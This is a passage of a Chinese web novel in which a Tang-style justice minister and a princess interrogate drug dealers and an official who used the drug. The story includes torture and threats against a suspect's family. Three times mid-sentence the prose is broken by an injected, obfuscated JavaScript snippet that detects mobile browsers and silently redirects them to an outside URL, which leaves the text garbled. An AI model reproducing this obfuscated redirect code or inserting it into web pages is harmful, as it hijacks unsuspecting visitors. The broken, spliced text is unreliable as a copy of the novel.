张黎一下挣扎起来,满口喊冤:“上官明鉴啊,我就卖卖东西,别说我不敢,我哪来的路子接近长公主啊?” “可你说你手中的寒食是宫中流出来的,”林魏然看着他,心平气和,“长公主如今受了寒食的毒,心情很不好,催着我刑部赶紧把凶犯抓出来。既然如此,你想必就是宫中凶犯销毁证据的帮凶,宫中凶犯我抓不着,拿你交差……” 他说着,适时地停了下来,一副若有所思的模样,“你这一个人头估计平息不了长公主的怒火,还得多来几个,这样吧,把你家人的人头一起拿给长公主交差。” 张黎猛然瞪大了眼,没想到原先分明一副公正模样的林魏然怎么突然变了模样,但话到口中,又叫天喊地地喊冤:“上官明鉴啊!小的就只是收了些寒食,卖寒食给小的是宫里太监啊,小的万万没想到那人敢谋害长公主啊!” 说着,他忽然挣扎着弯腰,又急切道:“上官,上官,小的还记得当年卖寒食的太监模样,上官饶小的一命,小的一定把那太监给上官找出来!” 林魏然把玩着桌上夹炭的刑具,边淡道,“那你说说,上一次收寒食是什么时候?” “上月十五,”张黎飞快道,“不过那太监说这批寒食是最后一批,所以……没有再跟小的约下次交货时间了。” 杨灵允忽然开了口:“你说的那太监,是不是微胖模样,左脸上有道伤疤?” 张黎猛然转头,连声道是。 他瞪大了眼想看清杨灵允的模样,但杨灵允所在那处的烛火被她吹灭了,仅凭着剩下几盏,看不清。 杨灵允低笑一声:“可那太监一年前就死了。上月十五,他如何能卖寒食给你?” 说着,她又笑了一声,仿佛觉得此事很有意思,“难道是冯仪的鬼魂爬上来卖寒食?” 张黎心底一寒——没想到杨灵允竟能说出那位公公的名字,更没想到,当时排场那么大带着那么多守卫的公公,竟然,死了? 就在他想着还能怎么圆回来时,林魏然猛地拍桌厉喝道:“你手上的寒食究竟是从哪收来的?别再给我扯什么宫中流出来的,宫中那批你分明四年前就卖完了!现在的寒食,到底谁给你的?” 张黎浑身一颤,忽然就沉默下来,无论再怎么问都一言不发。就连林魏然拿着烧红的炭在他身边把玩时,他都没再说话。 杨灵允皱了皱眉,示意林魏然先出去。 “问不出来了,”门一关上,杨灵允便道,“这人眼睛尖,大约跟官府打过不少交道,是真的要用刑还是以用刑威胁他看得出来,你如今再怎么问他都不会说了。” 林魏然低头搓了搓脸,神色凝重,“我上次审他时,他怎么也不肯说出那太监模样,怎么今日一问就交代了?” “我第一次拿诛九族威胁时,他害怕了,所以肯供出太监模样……还是不对劲,”林魏然喃喃道,“他手中的寒食分明不是宫中的,只要他把这一点说出来,不就直接跟谋害长公主一事无关了吗?” “他在保护如今给他寒食的人!” 林魏然陡然亮起眼睛,雷厉风行地往外走,“去查长安城中所有与张黎交好之人。” 杨灵允却拉住了他:“其实还有一个更快的办法。” 就在此时,一个刑部官吏忽然气喘吁吁地跑过来:“王侍郎,林尚书,那小喽啰交代了,说今夜跟一个大买家约好了,就在福安酒楼!” 林魏然皱了皱眉,杨灵允忽然道:“你去福安酒楼守着吧,我来审这个姓张的。” 她眼底有几分跃跃欲试的兴奋。林魏然下意识地笑了起来,便道:“那我把王清安给你留下。” —— 林魏然带人赶到福安酒楼时已是夜色初上,小喽啰跟大买家约的是福安酒楼的一个大包厢——说是大买家定的地方。 时辰将至时,林魏然瞥了眼身边的小喽啰,淡淡警告道:“知道该说什么,该做什么吧?” 那小喽啰点头如捣蒜,连声应是。 在福安酒楼外的灯笼彻底亮起的那一刻,包厢门也再次被推开,伴着小二毕恭毕敬的声音:“傅上官,您这边请。” 姓傅?藏身于屏风后的林魏然心底泛起了嘀咕,不会是宣和的什么人吧? 彼时,杨灵允正看着王清安带来的两个人——一个是容貌姣好的妇女,一个是年岁尚轻的男孩。 男孩瞪着杨灵允几人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707440|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓人的官差一松手,他护在自己的母亲前。 杨灵允饶有兴味地笑了下,打量了一番男孩,抬抬下巴:“去把他腰间那玉佩拿来。” “是!”抓人的官差上前就想扯下那玉佩,不料男孩却扬手推开了他,怒声道:“不许动我!” “凭什么抓我们?”他看得出杨灵允才是领头的,又怒视着杨灵允质问道。 王清安连忙挥手示意官差快点别磨蹭。 只是那男孩死死地护着腰间玉佩,官差也动了怒,拔刀威胁道:“小兔崽子还不松手?” 推搡纠缠间,男孩的手臂被划了一刀。而腰间的玉佩也被官差一把抢过来。 女人连忙抱住还想上前跟官差闹的男孩,抹着眼泪道:“几位上官,不知我们母子是犯了什么事?我儿年纪小……” 她话没说完就被杨灵允打断了,“没犯什么事,借你们的东西一用。” 杨灵允说着拿过王清安递过来的玉佩,端详片刻又皱眉道:“不行,沾点血去。” 她抬头见男孩汩汩滴血的手臂,“这也省事了,顺便把他的外袍给我。” 王清安隐约猜到了杨灵允要做什么,心底有些不安——林尚书上任第一件事就是告诉他们,审犯人时用刑必须经过他的同意。可这公主殿下…… 但他自然不敢多说什么,拿了东西跟上杨灵允。 杨灵允离开前忽然道:“给他找个大夫包扎一下,再……罢了先别送回去,先在刑部好好呆着。” 另一边,福安酒楼,交易已经完成。那小喽啰收了银子就离开,只剩大买家还在包厢内。 听声音,大约有五人。 他们大约是买了寒食就要吸食,所以特意定了这间大包厢。 外面的声音嘻嘻笑笑,又渐渐变得涣散。林魏然脸色微凝,抬手示意身后人一起冲出去。 只是他高估了吸食寒食后的人。 这五人几乎不费吹灰之力就被摁在桌上,脸上还带着如梦似幻的笑,看人的眼神也很涣散,一点没意识到如今是什么情形。 林魏然死死地拧着眉头扫过五人——除了那个领头的傅上官,其余都是今年新举荐来做官的世族子弟。 他沉着脸,一挥手:“全都给我带回刑部。” 刑部刑讯堂内,杨灵允扬手将两样沾血的东西扔在一言不发的张黎面前,笑道:“别装哑巴了,看看这衣服这玉佩,熟悉吗?” 刑讯堂外,本来应该进去记录的书令史被杨灵允关在门外,满腹疑惑地抱怨着:“王侍郎,这姑娘谁啊,这么嚣张?” 王清安莫名有种众人皆醉我独醒的感觉,但到底也不敢违背命令,只提醒道:“别得罪了这位就是。” 书令史瞥了眼门,又道:“可林尚书不是早说了不许暴力审讯吗?等林尚书回来,咱们如何交代?” 王清安默了片刻:“这交代也轮不到咱们给。” 书令史刚想开口,门就被推开了,杨灵允站在门口,淡淡道:“进来吧,张黎开口了。” 书令史与王清安对视一眼,满眼震惊,还有些怀疑。 王清安推了他一把,又提醒道:“进去做你该做的事,别乱说话。” 刑讯堂内,张黎再没有先前林魏然提审时那副混不吝的模样,垂头规规矩矩地被绑着,再无半分挣扎,“寒食是成老板成百万给我的。” 书令史提笔记下这一句,等了好一会也没等到下一句,下意识问道:“没了?” 这话像是对张黎的当头棒喝,敲得他猛然抬头看向书令史,声音凄厉:“救救我儿!” ……“救救我!!” 与此同时,林魏然带人准备回刑部时,不远处人群忽然传来绝望的尖利喊声——“别碰我!” 58. 第 58 章 出声的是个十来岁的少年,拿着小刀毫无章法地挥着,他面前是几个身材壮实的中年妇女,旁边还站着一个骨瘦如柴的中年男人。 为首的中年妇女对着那中年男人冷声道:“姓薛的你什么意思?” 薛光连连赔笑,枯瘦的五指死死攥着少年手臂,硬将他往前推:“不好意思不好意思,这孩子不懂事……” 少年手上的刀子只对着步步紧逼的打手,却对亲手将自己推出去的父亲毫无抵抗之力。 周围人围了一圈,议论纷纷。 眼见即将要见血,林魏然神色微变,快步上前拦在了两拨人中间,皱眉道:“闹什么?” 为首的中年妇女理直气壮:“薛光已经收了我的银子,这男孩我今日肯定是要领走的。” 林魏然看向薛光那边,还没开口薛光已经先抹着眼泪开口了:“实在是家里穷没办法啊,孩子交给他们,也能有一条活路啊……” 周围有人晒笑出声:“哪里是家里穷,那分明是被你败光的!” 薛光脸色骤变,咬牙对那人骂了一句,又对林魏然赔笑道:“这位上官,我们这私下的事,怎么好意思惊动您呢?” 林魏然现身时还跟着一群刑部官吏,也押着那几个吸食寒食的人,不用猜都是知道是有官身的。 薛光说着又扬手想打那少年一巴掌,却被林魏然从半空中制止,“好好说话。” 少年看向林魏然的眼里陡然亮起光,手中小刀哐当落地,攥着林魏然的衣袖仿佛是在攥住最后一根救命稻草:“我不想被卖!书院已经允了我去做杂活旁听!我,我可以养活我自己的!” 薛光啐了他一脸,“呸小兔崽子!” 然后用力将少年往中年妇女那边推,“我是你老子,我说你去哪你就得给我去哪!” 林魏然抬手将少年拽过来,冷声道:“行了,私卖人口,都带去刑部。” 中年妇女那边只皱了皱眉,为首的上前拿出一张契书,“上官,我这可是手续齐全,没违法呐。” 林魏然低头扫一眼,便冷着脸反问:“这卖身契是他签的吗?” 中年妇女僵了片刻,忽然道:“罢了罢了,那我今日不要这人了。” 但说着她将眼神转向薛光,“姓薛的,三日之内把银子还给我。” 薛光脸色变得愈发阴沉,干枯的脸上眼睛突出,更显出一股阴鸷和疯狂。 中年妇女又对林魏然赔笑道:“这位上官,这样您看行吗?您看我也是被这姓薛的骗了,没想到他这般丧心病狂啊……” 话音未落,异变陡生。 薛光攥着刀子直直冲过来,浑浊的眼底有些涣散,闪着惊心的疯狂:“坏我的好事!去死!” 场面一瞬间变得乱哄哄的,看热闹的人连忙退避,刑部官吏大惊失色喊着林尚书当心就想冲上来。 然后在下一刻,林魏然面无表情地抬手掐住了薛光的手腕—— “哐当”一声,刀子再次落地。 他手腕翻转,膝盖一弯,薛光已经被狼狈地压在地上,愤怒地挣扎着什么。 为首的中年妇女到底没见过这种连官差都敢打的人,连连后退想与此人撇清干系。 被刑部官吏护着的少年愣愣地看着眼前一幕,像是被吓到了。 林魏然拿绳子捆了他的双手,人却还在地上扭动,但神色却变得迷幻又痛苦,嘴里喃喃着什么。 弯腰一听,只听得两个字——“给我……给我……” 林魏然皱了皱眉,但薛光却忽然张嘴再次扑了上来,他弓膝一顶,薛光痛得神色扭曲,但眼底却浮现出几分恐惧——想来是痛苦让他清醒了几分。 “行了,都带回去。”林魏然起身拍了拍手,脸色却不太好。 另一边,刑讯堂内的书令史也变了脸色,下意识开口:“什么?” 杨灵允轻飘飘扫一眼他,书令史猛然觉得仿佛千斤压顶,一下不敢再说话。 张黎这会却挣扎起来了——“我要见林尚书!我要见林尚书!” 杨灵允撇撇嘴,又踢了踢地上那团沾血的东西:“张黎,别挣扎了,成百万连你妻儿都绑了,还想护着他啊?” 张黎猛然抬头怒视着杨灵允,终于反应过来了:“你在骗我!若是我儿当真被绑走,你先前为何不放那书令进来?” 杨灵允挑眉笑了下,弯腰看他,“还挺聪明啊。” 张黎恨得双目赤红,恨不得生啖了杨灵允,叫嚷着:“我要见林尚书,我要告你!” 杨灵允无奈地摇了摇头,语气中充满遗憾:“告我又有什么用呢?你如今已经交代了成百万。刑部自然会盯上他。他一旦知道自己被盯上,难道会放过你妻儿吗?” 张黎一下停止了挣扎,僵在原地。 杨灵允满意地笑了起来:“所以啊,你如今唯一的出路就是跟老实交代一切,祈祷林魏然能在成百万对你妻下手之前抓到他。” 一滴墨汁滴到了桌面外,书令史握了一辈子的手如今竟有些颤抖,哆哆嗦嗦地记录着。 杨灵允回头望一眼,淡道:“这段就别记了。” 书令史咽了口唾沫,还想坚守一下自己的操守,“这……不,不合,规矩。” 他说完又立马低头,不敢再看杨灵允。 杨灵允皱眉,“这记录被有心人看见,担责的是你们林尚书知道吗?” 说着她就上前想撕了书令史桌上的沾满墨迹的那张纸。 威压之下书令史竟不知哪来的胆子,一把将记录的纸藏在身后,握紧了拳头开口道:“林尚书说了,书令史就是要如实记录刑讯堂内发生的一切,这位姑娘,你刚刚的做法已属暴力逼供范围,需得林尚书同意才行。” 他分明紧张害怕得很,脸上的肌肉都不自觉地颤抖,但说出的话却字字清晰。 杨灵允被他的死板气笑了,转身推门想让王清安进来解决。 只是她手刚刚碰上门板,门便从外面被拉开了。 林魏然裹着一股夏夜的凉风快步进来。 书令史如获大赦般站起来:“林尚书……” 话没说完林魏然就打断了他:“你出去,这边我来。” 书令史犹犹豫豫地把手中那张纸交给他,又小心翼翼地看了眼抱着双手站在门边的杨灵允,小声说了句什么。 林魏然神色未变,只拍了拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719924|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的肩,让他出去。 等门再次被关上时,杨灵允瞥了一眼紧闭的大门,看着林魏然略有紧绷的脸色,抿了抿唇:“来兴师问罪?” 林魏然喉结动了一下,上前替杨灵允擦了擦先前制造证物时沾上的血,微不可察地吐出一口气,才轻声道:“没有。你问吧,我记着。” 张黎见了林魏然跟见了亲爹似的,大骂着杨灵允拿他家人胁迫他手段下作云云,杨灵允在一边听着都有些不耐烦了。 等张黎骂得口干舌燥听了下来,林魏然抬眼看向杨灵允,见她没有要开口问地意思,轻叹一声自己开口道:“行了,说正事。这个成百万位于何处?名下有何商铺产业?” 张黎微愣,没想到林魏然是这种反应,咬牙切齿:“不该先处置这个胆大妄为的人吗?林尚书,不许暴力刑讯可是你的规矩啊!还是说你姓林的就是个佛口蛇心之人!?” 林魏然很无奈地放下了笔,慢慢起身走到张黎面前。 就在张黎以为林魏然是来宽慰自己,面露得意之色时,忽然胸口剧痛,猛然收缩瞳孔—— “砰——” 刑讯堂内一声闷响,张黎连椅带人地被林魏然踹到了门边,狠狠撞在门板上! “咳咳咳……” 张黎张口喷出一口血,狼狈地蜷缩在地上。 林魏然抬脚走近,居高临下地看他,冷笑一声:“张黎,是不是我过去给你的好脸色太多了?让你这一个凶犯都有胆子这样跟我叫板?” 他说着慢慢蹲下,伸手拽起张黎的头发,语调平静:“现在,好好交代这个姓成的到底是什么人,你说不定还有命能活。” 张黎瞪大了眼,见鬼般愣愣盯着林魏然。 林魏然手上用力,拽着他的头发直接将人拉起,微微眯了眯眼:“到底说不说?” 此时的林魏然再也没有过去那副温和平静的模样,周身的戾气和狠厉惊得张黎浑身一颤,下意识连连点头,“说,说,我说……” “我不知道成老板家在哪。每次拿货,都是在福安酒楼见面的。上月十五,也是在福安酒楼拿货。” “他几时开始给你供货?” 张黎咽了口唾沫,想了一会才说:“大概是,去年四月左右。” 林魏然记录的笔一顿,陡然想起——郑虔上奏东南寒食一事,是去年三月。难道那成老板躲过了郑虔的抓捕,跑来长安? “这成老板是哪里人?” “长安人,”张黎生怕再受林魏然一脚,飞快地一切撇得干干净净,“我之前流落街头时受过成老板的恩惠,所以才……” …… 大约是有妻儿吊在头上,张黎这次交代得飞快,差不多把知道的全吐干净了。 林魏然拿着记录和杨灵允一起出门,将记录交给书令史,淡淡道:“记录归案吧。” 书令史下意识翻了两页,又被王清安连忙制止。 林魏然余光瞥见,笑了一下,没说什么带着杨灵允离开了。 书令史正巧翻到了他记录杨灵允审讯的那页——保存得完完整整,后面还有一段林魏然暴力审讯的记录。 字迹属于林魏然。 59. 第 59 章 一通折腾下来,已经入夜了。 更夫敲着梆子从刑部门口路过,转进朱雀大街。林魏然吩咐了人去盯着成百万,又转身看了眼还坐在自己值班位置上的杨灵允。 他扬手吩咐下边人出去,轻轻关上了房门。 杨灵允在他关上门的那一刻看了过来,神色平静:“你有时当真心慈手软,让凶犯都有胆子蹬鼻子上脸,在你头上作威作福。” 林魏然很轻地叹了口气:“我知道。可是重刑之下容易出冤案。况且这事是他一人犯的,与他家眷无关。” 温热的夏风从半开的窗子徐徐吹进,杨灵允的发髻被吹散了些,零碎的黑发落在脸边,遮了一半她的面孔。 她在暗色之中站起来,轻声笑了下:“罢了,那就当我多管闲事了。” 杨灵允准备离开。 林魏然忙伸手拉住了她,将人再次按在椅上,替她拢了拢微微飘扬的碎发,轻声开口:“我不是这个意思。今日也多亏你,张黎才能开口。明日就是十五,若是张黎今夜不开口,还指不定什么时候能抓到成老板呢。” 被林魏然就这样按在椅上,杨灵允心底更多了些不痛快。 她想回头问林魏然到底什么意思,却又被林魏然顺着发丝按到了后颈,有一搭没一搭地摩挲着。 温热的触感从后颈顺着脊椎一路向下,蔓延开来,让她的思绪有了片刻的僵硬。 短暂的失神后,杨灵允动了动喉咙,才从喉咙中挤出声音:“你到底什么意思?” “抓凶犯破案子与朝堂的明争暗斗不一样,”林魏然替她按着后颈,低声道,“下次这样做前,先跟我商议一下好吗?” 他声音低哑轻柔,徐徐地吹过杨灵允的耳边,糅合着夏夜的温热,缓缓地缠住了杨灵允。 更重要的是,杨灵允向来吃软不吃硬。 在林魏然的声音中,她轻轻吐出一口气,再没了动作,沉默在暗色中,任由林魏然手上作乱。 半晌后,她嘟囔了一句——“你那会不是急着去抓那大买家么?” 说着,她已经靠在了椅子上,肩颈慢慢松了下来。 林魏然无声地弯了弯唇,继续捏着她的肩颈,低声笑道:“人抓回来了,不过其中有傅氏子弟。” “傅氏?”杨灵允原本已林魏然捏得昏昏欲睡,闻言又猛然清明,“谁?” “长安内的一个县丞,官职不大,不过手上银子好像不少。” 不是什么关键之人,没必要费心思。杨灵允又放松了脊背,懒洋洋地靠在椅背上,“你看着办吧,不用告诉我。” 夏风似乎是听见了她的话,骤然猛烈,本就摇摇欲坠的发髻撑不住了,大半黑发散落下来,铺了一椅背。 只剩一把步摇束着些黑发,还□□着。 杨灵允皱了皱眉,起身想关窗。林魏然却又按住了她,伸手将她最后一部分束起的黑发也放了下来。 步摇被他扬手扔到了案前,压在厚厚的卷宗上。 “你做什么?”杨灵允抿抿唇回头看他。 林魏然手肘撑在椅背上,冲她弯唇笑,“反正没剩多少,不如直接拆了。” 杨灵允抬手拢了拢,有些不高兴,“那我等下如何出去见人?” 他的黑发还束得整整齐齐,屋内没有点灯,只有屋外廊边的灯笼照进些许,暗而暧昧。 但暗淡的火光反而更勾勒出林魏然锋利的脸部线条,属于先前刑讯堂内下手狠厉的林尚书的那股气势还未散去,近乎缱绻的声音又给他糅合了一股温柔的斯文—— “我替你梳。” 杨灵允难得看愣了片刻,才连忙回头掩饰般质疑道:“你会吗?” 林魏然低笑出声:“试试看不就知道了。” 黑发再次被骨节修长指腹粗糙的双手挽起。林魏然的手除了手骨一如既往得修长之外,整双手都布满细碎的伤疤,关节处还有不少茧子,偶尔擦过杨灵允的后颈和耳朵,带起细微的痛感。 但痛感之后,是绵延的酥麻。 杨灵允忍不住问:“你手到底怎么了?怎么几年没见,身上多了这么多伤疤?” 林魏然边生疏地挽着发,边笑着解释:“南州偏远,流寇多。” “后悔吗?”杨灵允动了动喉咙,到底还是把心里的话问出来了。 林魏然沉默片刻,没有正面回答这个问题,只是道:“其实我有时也在想,若四年前我留在了长安,一切是不是都会不一样。你的身子,是不是就……” 杨灵允忽然抬手按住了他的手,然后回头看他,神色有些认真,一字一字道:“那就不要想了。四年前你留在长安也无济于事。” 四年前先帝以“太子有不臣之心”为由,二次废太子。那时先帝雷霆震怒,朝野牵连甚广。 杨灵允心底一清二楚——这说到底只是先帝老了,害怕了,所以才迫切地清扫一切可能跟他夺权之人。 林魏然留下也救不了哥哥,更救不了她。只有她和哥哥能自己救自己。 双目对视间,林魏然率先笑了下,“嗯,不想了。” 杨灵允嘴角也浮起笑意,应了一声。 再次转头,黑发又从林魏然指尖滑过,散落满手。两人这才回过神来——杨灵允那一转头,林魏然刚刚的努力前功尽弃。 黑发从林魏然的指缝顺着杨灵允的肩头滑到她手心。 林魏然呆了片刻,静谧的屋内,然后两人同时笑出了声。 正巧到门外的书令史听见屋内传来的动静,满腹好奇地想敲门问问。 就在他手即将碰到门板的最后一刻,不知从哪冒出来的王清安眼疾手快地拦下了他,几乎是生拉硬拽地将他拖远了些,才压低了嗓门问道:“做什么?” 书令史觉得王清安今夜实在反常,拧眉怀疑道:“王侍郎,你今夜是怎么了?” 王清安长长地叹出一口气,满肚子的话却什么都说不出来,只能无奈地提醒:“没什么事别去打扰林尚书。” 别被长公主给记上了。 书令史不乐意了:“张黎怎么办还等林尚书定夺,还有那姑娘带回来的一对母子呢?” 王清安掐了掐眉心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724426|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这种事也要来烦林尚书?找个大夫给张黎看下就行了,至于那对母子,按……说的留在刑部好生招待。” 书令史终于按捺不住打探之意:“不是我说,王侍郎,那姑娘到底是什么人啊,带着个面纱神神秘秘的,林尚书还就这样往刑部带?” 王清安没好气地拍过他凑近的脸,眯了眯眼,眼神有了些幽暗,“你这哪是来请林尚书定夺,是来打探林尚书私事吧?” 心思被戳穿,书令史有些不好意思地摸摸脑袋,也承认了,“大家伙都好奇得很呐王侍郎,你就告诉我们吧?” 王清安失了风度,忍不住白了他一眼,“是不是平日里林尚书太好说话了?都忘了他说过什么?” 书令史振振有词:“只要没在公务上出岔子,林尚书不会罚咱们的。” 他再次凑近了些,满脸好奇:“王侍郎,你就告诉我们吧,不止我们坐堂的,连外头的兄弟们都好奇得很呐,听说林尚书前些日子才拒了婚,说有心上人,他心上人是不是……” 话没说完,王清安脸色骤变,连忙捂住了他的嘴,几乎是从牙缝中挤出警告:“这话不能乱说,知道没?” “长点心眼,别什么都好奇,好奇害死人知道不?那位不是我们得罪得起的。” 书令史挠了挠头,被王清安深重之中夹杂了细微的畏惧给怔住了,片刻后才怏怏道:“好罢,还以为能喝上林尚书的喜酒呢。” 王清安忍不住回头望了眼,林魏然所在的那间屋子没有点灯,离得这么远,他已经不知道是那间了。 烛火通明的长廊上,什么都没有,什么都看不见。 但王清安仿佛又在重重叠叠的灯火中看见了林魏然——是他空降为刑部尚书的那一日。 刑部在六部之中最为特殊,一不管财二不管人,打交道的大多是穷凶恶极的凶犯和政斗的失败者,在六部之中油水最少的。 因而还有了铁打的刑部流水的尚书一戏说。在林魏然刚刚空降之时,他曾以为林魏然也只是那些流水的刑部尚书之一,拿刑部当跳板去吏部的。 但这一年来,整个刑部是亲眼见着林魏然如何做事,如何断案。他在一片质疑和看戏的眼光中收服了整个刑部,让自己都心甘情愿地在他麾下做事。 林尚书是个心系百姓有怜悯之心的好官。王清安轻轻叹出一口气,可就有一个致命弱点——时隔八年,始终认不清现实,还跟长公主牵扯不清。 他与长公主的事若当真被人知晓,于长公主只是多了一笔风流债,天家之人,权势在手,顶多被言官不痛不痒地骂上几句便是结束。 但于林尚书……他这些年的一切成果都将会被认为是靠长公主才得来的,他正大光明的仕途——很可能就会毁于一旦。 这些道理连他都能想得明白,林尚书不可能想不明白。 忽然之间,王清安觉得这烛火太过晃眼了些,晃得他眼睛疼。 “我情愿这辈子都别喝上他的喜酒……王清安轻声低语,仿佛自说自话,又仿佛是在与书令史说话,“既然藏了,就藏一辈子吧……” 60. 第 60 章 抓回来吸食寒食的共有五人,个个精神涣散,为了等大夫把这些人治清醒,林魏然没打算回家,直接宿在刑部。 他本想让杨灵允回去好好休息,不过杨灵允嫌他梳的发髻实在难看,也不想这副样子就出门,便直接霸占了他在刑部的唯一一张床。 林魏然宿在外间。 翌日清早,手下人来报——五人中为首的那个傅县丞,清醒了,如今在刑部大牢那边闹个不停。 “把人带到刑讯堂去。”林魏然也不着急,打发了人慢条斯理地收拾着。 杨灵允从里间出来,倚在屏风边看他:“我也去?傅氏子弟自视甚高。除非上刑,他必然不开口。” 林魏然看着她落了满肩的黑发,笑问道:“你的头发怎么办?” 杨灵允挑眉看了眼他已经束好的黑发,扬扬下巴:“梳成那样就行。” …… 王清安再次目送着杨灵允和林魏然一同进了刑讯堂。 他素来以自己的观察力引以为傲,但这一刻他恨不得自己是个瞎子。这样他就不会知道——长公主的头发梳成了林尚书常梳的样式,长公主那身明显不合身的黑色常服还是他帮林尚书从布店取回来放在刑部,林尚书还没穿过的。 黑色宽袖扬起,刑讯堂的门再次被关上。王清安从胸腔中重重叹出一口无奈。 刑讯堂内的两人并不知晓王清安如此丰富的内心活动,不过就算知晓,两人大约也是不在乎的。 林魏然清楚以王清安的为人,不会到处乱嚼舌根。而杨灵允压根没有把他放在眼里——若是多嘴,她多的是办法让他闭嘴。 如今更紧要的,是这个领头吸寒食的傅氏子弟。 傅长被五花大绑在刑讯椅上,见有人进来,又睁大了眼怒骂道:“哪个不长眼的敢抓本官?知不知道我是……” “傅氏的嘛,”林魏然慢悠悠地踱步过来,站在他面前,替他说完了后半句话。 最重要的话被旁人说去了,傅长一时怔住,片刻后才昂着头以一种高高在上的口吻道:“那还不快放了本官,本官兴许还能不计较此事。” 只是他话中略有些中气不足,仿佛是预料到了什么。 林魏然笑了起来:“傅长,傅县丞啊,看来是在长安县作威作福惯了啊?” 傅长瞪大了眼,下意识咽了口唾沫,忽然觉得此人十分眼熟,“你,你是谁?” 林魏然转身走到一边记录的桌前,边准备研磨记录边开口道:“刑部尚书林魏然。” 傅长脸色骤变,那股高高在上的气焰陡然转变成近乎谄媚的笑:“原来是林尚书啊。真是大水冲了龙王庙,林尚书若是有事找我,直接派人去长安县衙吩咐一声,何必如此大费周章呐,多麻烦不是?” “整整一夜,还没想明白为何进我这刑部吗?”林魏然边提笔写字,边淡淡问道。 清晰的吞咽之音忽然响起在幽暗死寂的刑讯堂内——是傅长发出来的。 他显然是紧张了,但面上还是一副装傻充愣的模样,“林尚书这是什么话?都给下官听糊涂了。” 林魏然提笔记下,然后放下笔再次走近了傅长,脸上的笑意中混进了冷意,“那我提醒傅县丞一句。去年三月,郑虔上奏东南寒食泛滥,致使不少百姓家破人亡。因而陛下有令,本朝严禁制作、售卖、吸食寒食。那时长安市面上并未出现寒食,所以此令只下给了当朝官员。” 在傅长渐渐变得青白的脸色中,他嘴角的笑意陡然消失,声音骤冷,“傅县丞,知法犯法,罪加一等。” 傅长几乎是慌乱地垂下了眼。林魏然微微眯眼,伸手掐着他的下颌强迫他抬头,语调充满森冷的寒意:“朝中还有什么人在服用寒食?给我老实交代!” 傅长不敢与林魏然对视,却被死死的控制着难以逃避。他脸上闪过懦弱的恐慌之色,但旋即又状似冷静地开口:“林尚书,傅、林二家都是交好的百年世族,本是同根生,相煎何太急啊?” 林魏然冷笑一声,手上力道加重三分。 傅长吃痛地闷哼出声,又连忙道:“好好好我说——”他交代出了昨夜跟他一起吸食寒食的其余四人名字。继而又道—— “林尚书,这下可以放我走了吧?” 林魏然松开了手,嘴角又扯起些笑意:“傅长,你觉得我是傻子吗?” 在傅长陡然惊惧的眼神中,林魏然单手掐住了他的脖子,一点点收紧。傅长瞪大了眼,脸色渐渐涨得通红,整个人仿佛被浪卷上按的鱼一般拼命挣扎,但无济于事。 就在他觉得自己会死在这间幽暗的刑讯堂内时,林魏然适时地松了手,淡淡道:“你交代的那四人都还在隔壁躺着呢,说说你上面还有谁,寒食哪来的?什么时候开始服用的?” 傅长惊魂未定地用力呼吸一口,在林魏然威胁的脸色中连忙说:“我说我说,大概去年三四月,长安坊市内就有寒食了。那些卖寒食的都是长安本地人,听说他们手中的寒食都是从一个叫宗主的人手里收的。” “宗主是什么人?” 傅长满脸无奈:“林尚书,这我真不知道啊,那些卖寒食的长安本地人都没见过宗主,听说寒食都是转了好几手才到他们手上的。” 幽暗的烛火照着他诚恳又迫切的脸色,他用力凑近了些,近乎低三下四地赔笑道:“我知道我错了,我不该知法犯法林尚书,看在咱们同出世家的分上,就高抬贵手放过我吧,我保证以后再不碰寒食!” 林魏然沉默地站在原地,背对着火光,只有周身的轮廓看得清楚,而面孔隐在暗处,看不真切。 他手上在把玩着一把匕首,锋利的匕首在指尖灵活地转动。 见状,傅长又不免咽了口唾沫,一咬牙连脸都不要了,刚想出声再求饶,林魏然先轻飘飘地开了口—— “傅县丞,看来你这些年的县丞也没白当,”林魏然抬眼,面无表情地看他,“转移话题是有一手的。” 说着,他停了手中动作,泛着冷光的匕首直指傅长咽喉,“告诉我,朝中还有哪些人在服用寒食?” 傅长瞳孔猛然收缩,露出些惊慌失措,下一刻又强装镇定:“你不敢刑讯逼供!” 只是这话说的实在底气不足。 林魏然无动于衷,手稳得没有丝毫颤动“你想试试,我自然奉陪,就是不知道你有没有第二条命来试?” 烛火晃晃悠悠,紧闭的刑讯堂内不见天光,难分日夜。 傅长拼命挣扎着想退后,但刑讯堂那把沉重的椅子牢牢锁住了他的所有挣扎,就在他以为林魏然马上就要动手的时候—— 一个凌厉的身影忽然跳入他脑海中。 “我是傅氏子弟,”傅长猛然睁大了眼,眼底染上赤红,像是抓到了最后一根救命稻草赌徒一般大喊大叫,“你若敢对我下手,长公主不会饶了你!” 